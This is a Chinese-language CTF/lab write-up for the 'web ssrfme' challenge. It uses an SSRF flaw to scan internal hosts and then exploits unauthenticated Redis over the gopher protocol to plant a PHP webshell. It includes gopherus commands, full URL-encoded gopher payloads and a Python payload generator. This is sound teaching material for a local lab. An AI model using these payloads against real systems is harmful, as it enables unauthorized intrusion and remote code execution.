web ssrfme

06-01 1018阅读

首先下载web-ssrfme.zip,然后放到虚拟机内,unzip解压,然后CD到含有docker-compose.yml文件夹目录下输入指令进行拖拽docker镜像

docker-compose up -d

web ssrfme

访问网站

web ssrfme

发现漏洞

源码中过滤了file协议、dict协议、127.0.0.1和localhost

但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。

?url=https://www.baidu.com

web ssrfme

代码中我们还可以查看phpinfo的信息

?info

web ssrfme

查看该页面信息发现当前主机的内网ip为172.18.0.3

web ssrfme

探测该网段上存活的主机

?url=172.18.0.1:80

web ssrfme

?url=172.18.0.2:80

web ssrfme

说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:

web ssrfme

web ssrfme

开始爆破

web ssrfme

发现除了80端口有显示,还有6379端口有一个报错,

这是redis的报错,这个错误提示表明在执行 Redis 的GET命令时,传入的参数数量不正确。说明这台内网主机上还运行着redis服务。

redis 未授权访问攻击

接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。

这里我们可以利用gopherus工具,或者利用python代码

第一次尝试

./gopherus.py --exploit redis

web ssrfme

当然要将前面的ip改为172.18.0.2,因为这个ip下运行着redis端口为6379

http://172.25.254.145:8091/?url=gopher://172.18.0.2:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo()%3B%0A%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A%0A

web ssrfme

猜测路径不是默认路径/var/www/html,可能是其目录下的子文件夹,我们使用burp扫一下都有哪些目录,发现有个upload目录。

web ssrfme

web ssrfme

访问80端口的upload文件夹,发现是forbidden而不是not found

web ssrfme

第二次尝试

我们继续利用工具进行payload生成

web ssrfme

发现还是不行,原因是没有进行url编码

第三次尝试

由于浏览器执行代码时会先进行url解码,所以我们需要将其进行url编码

web ssrfme

测试,然后访问文件

web ssrfme

成功,进入docker中查看该文件

docker exec -it b990fe7e910d /bin/bash

web ssrfme

web ssrfme

当然还可以利用python代码来实现构造一个利用 Redis 漏洞来执行特定命令的 Gopher 协议的请求 Payload,如下

 
  1. import urllib.parse

  2. protocol = "gopher://"

  3. ip = "172.18.0.2" # 运行着redis的内网主机ip

  4. port = "6379"

  5. shell = "\n\n\n\n"

  6. filename = "aaaa.php"

  7. path = "/var/www/html/upload"

  8. passwd = ""

  9. cmd = [

  10. "flushall",

  11. f"set 1 {shell.replace(' ', '${IFS}')}",

  12. f"config set dir {path}",

  13. f"config set dbfilename {filename}",

  14. "save"

  15. ]

  16. if passwd:

  17. cmd.insert(0, f"AUTH {passwd}")

  18. payload = protocol + ip + ":" + port + "/_"

  19.  

  20. def redis_format(arr):

  21. CRLF = "\r\n"

  22. redis_arr = arr.split(" ")

  23. cmd = ""

  24. cmd += "*" + str(len(redis_arr))

  25. for x in redis_arr:

  26. cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")

  27. cmd += CRLF

  28. return cmd

  29.  

  30. if __name__ == "__main__":

  31. for x in cmd:

  32. payload += urllib.parse.quote(redis_format(x))

  33. print(payload)

结果:

gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Aaaaa.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

同样进行url编码

web ssrfme

执行它,同样也在docker下的/var/www/html/upload生成了aaaa.php文件

web ssrfme

访问它

web ssrfme

 

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。

相关阅读

目录[+]

取消
微信二维码
微信二维码
支付宝二维码